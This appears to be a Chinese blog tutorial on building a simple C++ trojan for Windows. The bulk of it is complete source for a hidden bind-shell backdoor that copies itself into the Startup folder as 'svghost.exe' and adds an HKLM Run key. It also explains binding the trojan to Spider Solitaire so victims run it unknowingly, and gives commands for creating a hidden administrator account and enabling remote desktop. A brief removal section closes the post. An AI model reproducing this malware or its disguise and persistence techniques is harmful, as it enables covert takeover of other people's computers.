赞
踩
声明:本帖仅作技术交流,切莫用于非法用途。否则造成的一切法律责任与作者无关。
使用C++实现一个简单的木马,实现木马的远程控制功能,能够开机自启动和伪装或隐藏,最后通过清除本木马,掌握常规的木马排查和查杀方法。
工具:vc++6.0
攻击机:win10(ip随机) 靶机:192.168.1.129
这是一个老生常谈的问题,木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了(MFC编程)。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。
编写一个反弹shell的木马,能够伪装成其他应用程序(扫雷游戏,或者表白代码等伪装程序),点击运行后能够打开特定的端口(或可使用端口复用技术,更适合与服务器),等待客户端连接,客户端使用telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌面连接等)。
木马能够实现开机自启动,任务管理器中在应用程序一栏消失,在进程一栏中伪装成其他进程。
windwos有一个自启动文件夹。在 系统启动时会自动运行开始->启动子菜单中的所有项目
注意:在Documents and Settings文件下有多个文件夹。
Administrator文件夹下的是对当前用户的专有账户生效
All Users文件下是对所有用户生效
所以一般为了方便我们都放在All Users文件下
要想实现它,我这里先介绍两个函数:
1)UINT GetSystemDirectory()函数
UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
这个函数的参数 lpBuffer会返回系统路径,我们提取前面两位就是就可以得到系统分区,例如“C:”
2)DWORD GetModuleFileName()函数
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
这个函数是返回我们程序自身的完整路径
完整代码:
#include<windows.h>
#include<stdio.h>
int main(void){
char FileName[MAX_PATH];//存储程序自身的绝对路径
char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
char TempBuffer[MAX_PATH];
GetModuleFileName(NULL,FileName,sizeof(FileName));
GetSystemDirectory(TempPath,sizeof(TempPath));
sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\torjan.exe",TempPath[0],TempPath[1]);
CopyFile(FileName,TempBuffer,TRUE); //将程序复制到启动文件夹中
return 0;
}
自启动注册表路径有许多,大家可以自己了解一下,最常用的有:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
这里我们选择第一个,来编写代码,我们用到的主要函数只有一个:
///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键
GetPrivateProfileStringA(“Main”,“ProcessPath”,FileName,process_path,sizeof(process_path), “.\config.ini”);//值
我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为木马文件的绝对路径
主要的办法是:建立CSocket开始,然后绑定端口999,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。
创建socket连接的代码比较简单,大家都会,百度一大堆,就不再解释。
先说个小技巧:因为我们写的cmd木马,整个过程我们都不需要显示出cmd的黑窗窗,所以我们可以把cmd窗口直接屏蔽掉,使用:
//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地cmd.exe的路径。
//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看一下本函数的更多参数
我们将所有代码整合一下,得到完整代码:
#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定义监听端口
void open_telnet(){
WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
sockaddr_in SockAddrin;
SOCKET CSocket, SSocket;
int AddrSize;
PROCESS_INFORMATION Processinfo;
STARTUPINFO Startupinfo;
char szCMDPath[255];
//配内存资源,初始化数据 ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&Startupinfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //获取CMD路径 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); //加载ws2_32.dll WSAStartup(0x202, &WSADa); //设置本地信息和绑定协议,建立socket SockAddrin.sin_family = AF_INET; SockAddrin.sin_addr.s_addr = INADDR_ANY; SockAddrin.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //设置绑定断端口999 bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin)); //设置服务器监听端口 listen(CSocket, 1); AddrSize = sizeof(SockAddrin); //开始连接远程服务器,并配置隐藏窗口结构体 SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize); Startupinfo.cb = sizeof(STARTUPINFO); Startupinfo.wShowWindow = SW_HIDE; Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; Startupinfo.hStdInput = (HANDLE)SSocket; Startupinfo.hStdOutput = (HANDLE)SSocket; Startupinfo.hStdError = (HANDLE)SSocket; //创建匿名管道 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo); WaitForSingleObject(Processinfo.hProcess, INFINITE); CloseHandle(Processinfo.hProcess); CloseHandle(Processinfo.hThread); //关闭进程句柄 closesocket(CSocket); closesocket(SSocket); WSACleanup(); //关闭连接卸载ws2_32.dll
}
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
HKEY hkResult;
int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
if(ret != 0)
return ret;
ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
if(ret==0)
{
RegCloseKey(hkResult);
return 0;
}
else
{
return ret;
}
}
int autopen(const char* key_name, const char* process_path)
{
char reg_name[] = “Software\Microsoft\Windows\CurrentVersion\Run”;
return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}
int main(void)
{
char key_name[100]; char process_path[1024]; ///写入启动文件夹 char FileName[MAX_PATH];//存储程序自身的绝对路径 char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符 char TempBuffer[MAX_PATH]; GetModuleFileName(NULL,FileName,sizeof(FileName)); GetSystemDirectory(TempPath,sizeof(TempPath)); sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]); CopyFile(FileName,TempBuffer,TRUE); //将程序复制到启动文件夹中 ///写入注册表/// GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini"); GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path, sizeof(process_path), ".\\config.ini"); int ret = autopen(key_name, process_path); open_telnet();//远程telnet return 0;
}
如上,我们代码编译运行后,得到一个exe文件,但是我们隐藏了命令行窗口,所以点击运行后,不会有任何反应。
但是谁都不会傻到直接运行这么一个什么都没有的代码,我们要跟其他的程序,绑在一起,偷偷执行,让靶机用户不知情。
我们可以从网上找到一些辅助工具,来帮助我们。我找了一款叫做ExeBinder.exe的软件。
这个程序可以将两个可执行文件捆绑为一个,但是在点击运行的时候,会同时运行两个文件。
对我们的木马来说,简直就是量身定制。
首先,将前面我们提到的功能,做一个封装,写成一个exe文件:叫做torjan.exe
(后面为了伪装效果,更改了程序名为svghost.exe)
再来看看现在的启动文件夹和注册表内容:
Ok,非常好。
运行一下我们的exe文件
可以看到启动文件夹和注册表项中,已经添加了。
功能正常,现在我们将它和正常的程序绑在一起,这里选择了蜘蛛纸牌,当然我们可以选择自己写的其他有趣的代码。
首先肯定是靶机需要运行一次上面这个木马,才可以连接。
接下来,我们就来测试一下,我们是否能远程连接到靶机。
尝试使用另一台电脑(win10+Powershell)进行连接
成功弹回了shell。
运行后,我们观察任务管理器:只显示蜘蛛纸牌,非常nice!
我们再来看看进程下面,
电脑刚打开,提示开机时间时,已经可以连接到目标。
我们连接到远程shell后,可以新建一个用户,然后加入管理员组。
net user admin /add //创建admin 用户 密码为空
net localgroup adminators admin /add //赋与admin用户,管理员权限
然后开启远程桌面功能(也就是3389端口),连接后将自己这个用户隐藏掉。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
but…我在这里,并没有开启,原因是命令行提示我参数过多,可能是telnet过来的命令行,有点问题。
大家感兴趣可以自己试试。
首先,我们需要观察自启动文件夹,将不正常和非必要自启动的程序全部删除。
然后,注册表自启动,所有Run下面的每个键值都要检查,尤其是值为某路径下.exe,你又不知道这个exe是什么,到对应目录查看该文件,删除键值。
清除木马,因为本木马使用了伪装,复制和注册表项,我们需要一一清除:
首先打开任务管理器,关闭蜘蛛纸牌应用程序,从进程中找到svghost.exe所有者为administrator,结束掉该进程;
然后,打开本地C盘启动文件夹,删除svghost.exe程序;
同时,删除本地的捆绑了木马的蜘蛛纸牌(或其他应用);
最后,打开注册表,进入自启动项(有很多,Run下面的都要仔细检查,但是本木马使用了比较经典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含svghost.exe的对应键值关系。
重启电脑。
【写在后面】
*本文获取shell的部分参考了下面的安全牛大佬的帖子:https://bbs.ichunqiu.com/thread-6935-1-1.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。